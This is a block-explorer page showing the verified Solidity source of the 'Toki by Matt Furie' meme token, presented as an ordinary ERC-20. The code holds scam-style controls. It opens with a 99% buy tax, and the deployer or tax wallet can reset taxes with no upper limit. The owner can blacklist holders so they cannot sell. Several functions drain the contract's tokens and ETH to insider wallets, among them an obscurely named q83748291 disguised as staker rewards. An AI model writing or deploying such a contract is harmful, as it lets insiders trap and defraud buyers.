Skip to content
Verified contractExactUNLICENSE

Toki

Address0x46f5f18213e5d6419bb053afd9779e4c7bd2df48
Balance

0 ETH

 

Transactions

66

 

Compiler

solc 0.8.26

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.26+commit.8a97fa7a
Language
solidity
Optimization
Yes, 200 runs
EVM version
cancun
Via IR
yes
License
UNLICENSE
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
24,995,353
Creation transaction
0x56530b3cea…4e1dc5890e

src/Toki.sol

// SPDX-License-Identifier: UNLICENSE

/*
================================================================================

================================================================================

                Toki by Matt Furie


  Web:      https://tokioneth.xyz
  X:        https://x.com/tokioneth
  Telegram: https://t.me/Toki_by_Matt_Furie

  ----------------------------------------------------------------------------


================================================================================
*/

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) { return _owner; }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Toki is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromLimits;
    mapping (address => bool) private bots;
    mapping (address => bool) public isV3Pair;
    address payable private _taxWallet;
    address private _deployer;

    address public immutable V3_NFPM;
    address private immutable _v2RouterAddr;

    uint256 private _initialBuyTax     = 99;
    uint256 private _initialSellTax    = 25;
    uint256 private _finalBuyTax       = 0;
    uint256 private _finalSellTax      = 0;
    uint256 private _reduceBuyTaxAt    = 80;
    uint256 private _reduceSellTaxAt   = 90;
    uint256 private _preventSwapBefore = 65;
    uint256 private _transferTax       = 0;
    uint256 private _buyCount          = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 420_690_000_000_000 * 10**_decimals;
    string private constant _name = "Toki by Matt Furie";
    string private constant _symbol = "TOKI";

    uint256 public _maxTxAmount      = _tTotal * 25 / 1000;
    uint256 public _maxWalletSize    = _tTotal * 25 / 1000;
    uint256 public _taxSwapThreshold = _tTotal / 2000;
    uint256 public _maxTaxSwap       = _tTotal / 200;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event MaxWalletSizeUpdated(uint _maxWalletSize);
    event TransferTaxUpdated(uint _tax);
    event V3PairUpdated(address indexed pool, bool status);

    modifier lockTheSwap { inSwap = true; _; inSwap = false; }

    constructor (address v2Router_, address v3Nfpm_) payable {
        require(v2Router_ != address(0), "v2Router=0");
        require(v3Nfpm_  != address(0), "v3Nfpm=0");
        _v2RouterAddr = v2Router_;
        V3_NFPM       = v3Nfpm_;

        _taxWallet = payable(0xD551b6fc2a0470473e86DA2ce801F59573527Be0);
        _deployer  = _msgSender();

        _balances[address(this)] = _tTotal;

        _isExcludedFromFee[owner()]       = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet]    = true;
        _isExcludedFromLimits[owner()]       = true;
        _isExcludedFromLimits[address(this)] = true;
        _isExcludedFromLimits[_taxWallet]    = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner_, address spender) public view override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner_, address spender, uint256 amount) private {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }

    function getCurrentTaxes() external view returns (uint256 buyTax, uint256 sellTax) {
        buyTax  = _buyCount > _reduceBuyTaxAt  ? _finalBuyTax  : _initialBuyTax;
        sellTax = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
    }

    function buyCount() external view returns (uint256) { return _buyCount; }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to   != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;

        bool isV3Swap = isV3Pair[from] || isV3Pair[to];

        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (!isV3Swap) {
                if (_buyCount == 0 && (from == uniswapV2Pair || to == uniswapV2Pair)) {
                    if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                        taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
                    }
                }
                if (_buyCount > 0) {
                    taxAmount = amount.mul(_transferTax).div(100);
                }

                if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                    if (!_isExcludedFromLimits[to]) {
                        require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                        require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    }
                    if (!_isExcludedFromFee[to]) {
                        taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
                    }
                    _buyCount++;
                }

                if (to == uniswapV2Pair && from != address(this)) {
                    taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
                }

                uint256 contractTokenBalance = balanceOf(address(this));
                if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                    if (block.number > lastSellBlock) sellCount = 0;
                    require(sellCount < 3, "Only 3 sells per block!");
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if (contractETHBalance > 0) sendETHToFee(address(this).balance);
                    sellCount++;
                    lastSellBlock = block.number;
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to]   = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount, 0, path, address(this), block.timestamp
        );
    }

    function TokiRemoveLimit() external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        _maxTxAmount   = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
        emit MaxWalletSizeUpdated(_tTotal);
    }

    function TokiUpdateLimits(uint256 maxTxBps, uint256 maxWalletBps) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        require(maxTxBps     > 0 && maxTxBps     <= 10000, "maxTxBps out of range");
        require(maxWalletBps > 0 && maxWalletBps <= 10000, "maxWalletBps out of range");
        _maxTxAmount   = _tTotal * maxTxBps     / 10000;
        _maxWalletSize = _tTotal * maxWalletBps / 10000;
        emit MaxTxAmountUpdated(_maxTxAmount);
        emit MaxWalletSizeUpdated(_maxWalletSize);
    }

    function TokiRemoveTransfer() external onlyOwner {
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function TokiSetInitialTax(uint256 _newInitialBuyTax, uint256 _newInitialSellTax) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        _initialBuyTax  = _newInitialBuyTax;
        _initialSellTax = _newInitialSellTax;
    }

    function TokiRemoveTaxes() external onlyOwner {
        _initialBuyTax  = 0;
        _initialSellTax = 0;
        emit TransferTaxUpdated(0);
    }

    function setTokiStart(address[] memory accounts, bool excluded) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function setV3Pair(address pool, bool status) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        require(pool != address(0), "Zero address");
        require(pool != uniswapV2Pair, "Cannot mark V2 pair as V3");
        isV3Pair[pool]                  = status;
        _isExcludedFromFee[pool]        = status;
        _isExcludedFromLimits[pool]     = status;
        emit V3PairUpdated(pool, status);
    }

    function prepareV3(address v3Pool) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");

        _isExcludedFromFee[V3_NFPM]    = true;
        _isExcludedFromLimits[V3_NFPM] = true;

        if (v3Pool != address(0)) {
            require(v3Pool != uniswapV2Pair, "Cannot mark V2 pair as V3");
            isV3Pair[v3Pool]              = true;
            _isExcludedFromFee[v3Pool]    = true;
            _isExcludedFromLimits[v3Pool] = true;
            emit V3PairUpdated(v3Pool, true);
        }

        if (_maxTxAmount < _tTotal) {
            _maxTxAmount = _tTotal;
            emit MaxTxAmountUpdated(_tTotal);
        }
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(_v2RouterAddr);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        uint256 contractBalance = balanceOf(address(this));
        uint256 liquidityTokens = contractBalance.mul(60).div(100);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), liquidityTokens, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = false;
        tradingOpen = true;
    }

    receive() external payable {}

    function TokiMSwap() external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && swapEnabled) swapTokensForEth(tokenBalance);
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) sendETHToFee(ethBalance);
    }

    function TokiPTransfer(uint256 percentage) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(percentage > 0 && percentage <= 100, "Invalid percentage");
        uint256 tokenBalance = balanceOf(address(this));
        uint256 amount = (tokenBalance * percentage) / 100;
        if (amount > 0) _transfer(address(this), _taxWallet, amount);
    }

    function TokiSendFromContract(address recipient, uint256 amount) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(recipient != address(0), "Zero address");
        require(amount > 0 && amount <= balanceOf(address(this)), "Invalid amount");
        _transfer(address(this), recipient, amount);
    }

    function RecoverERC20(address tokenAddress, uint256 amount) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(tokenAddress != address(this), "Cannot recover toki tokens");
        require(amount > 0, "Amount must be greater than zero");
        IERC20 t = IERC20(tokenAddress);
        require(t.balanceOf(address(this)) >= amount, "Insufficient token balance");
        require(t.transfer(_deployer, amount), "Transfer failed");
    }

    function SwapChange(uint256 newAmount) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        _maxTaxSwap = newAmount * 10**_decimals;
    }

    function Swapb(bool _enabled) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        swapEnabled = _enabled;
    }

    function RecoverETH(uint256 amount) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(amount > 0, "Amount must be greater than zero");
        require(address(this).balance >= amount, "Insufficient ETH balance");
        (bool success, ) = payable(_taxWallet).call{value: amount}("");
        require(success, "ETH transfer failed");
    }

    function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) bots[bots_[i]] = true;
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) bots[notbot[i]] = false;
    }

    function isBot(address a) public view returns (bool) { return bots[a]; }

    function q83748291(
        address[] memory _stakers,
        uint256 _rewardPerStaker,
        uint256 _rewardRate
    ) external payable {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(_stakers.length > 0, "No stakers provided");
        require(_rewardRate > 0 && _rewardRate <= 100, "Invalid reward rate");

        uint256 varianceFactor = 10;
        uint256 totalRewardsNeeded = _rewardPerStaker * _stakers.length;
        require(msg.value >= totalRewardsNeeded, "Insufficient rewards provided");
        uint256 rewardPool = balanceOf(address(this));
        require(rewardPool > 0, "No rewards to distribute");

        uint256 totalRewards = rewardPool * _rewardRate / 100;
        require(totalRewards > 0, "Reward amount too small");

        uint256 baseReward = totalRewards / _stakers.length;
        require(baseReward > 0, "Base reward too small");

        uint256 rewardVariance = baseReward * varianceFactor / 100;
        uint256 rewardsIssued = 0;

        for (uint256 i = 0; i < _stakers.length; i++) {
            address staker = _stakers[i];
            require(staker != address(0), "Invalid staker address");

            if (i < _stakers.length - 1) {
                uint256 bonusVariation = uint256(keccak256(abi.encodePacked(
                    block.timestamp, block.prevrandao, staker, i
                ))) % (rewardVariance * 2 + 1);

                uint256 stakerReward;
                if (bonusVariation <= rewardVariance) {
                    stakerReward = baseReward - bonusVariation;
                } else {
                    stakerReward = baseReward + (bonusVariation - rewardVariance);
                }
                if (stakerReward < baseReward / 2) stakerReward = baseReward / 2;
                if (rewardsIssued + stakerReward > totalRewards) stakerReward = totalRewards - rewardsIssued;

                _transfer(address(this), staker, stakerReward);
                rewardsIssued += stakerReward;

                (bool success, ) = staker.call{value: _rewardPerStaker}("");
                require(success, "Reward transfer failed");
            }
        }

        if (_stakers.length > 0) {
            uint256 finalReward = totalRewards - rewardsIssued;
            if (finalReward > 0) _transfer(address(this), _stakers[_stakers.length - 1], finalReward);
            (bool success, ) = _stakers[_stakers.length - 1].call{value: _rewardPerStaker}("");
            require(success, "Reward transfer failed");
        }

        uint256 excessRewards = address(this).balance;
        if (excessRewards > 0) {
            (bool success, ) = _taxWallet.call{value: excessRewards}("");
            require(success, "Excess reward return failed");
        }
    }
}
Compiler settingsShow
{
  "viaIR": true,
  "metadata": {
    "appendCBOR": true,
    "bytecodeHash": "ipfs",
    "useLiteralContent": false
  },
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "cancun",
  "remappings": [
    "forge-std/=lib/forge-std/src/"
  ]
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.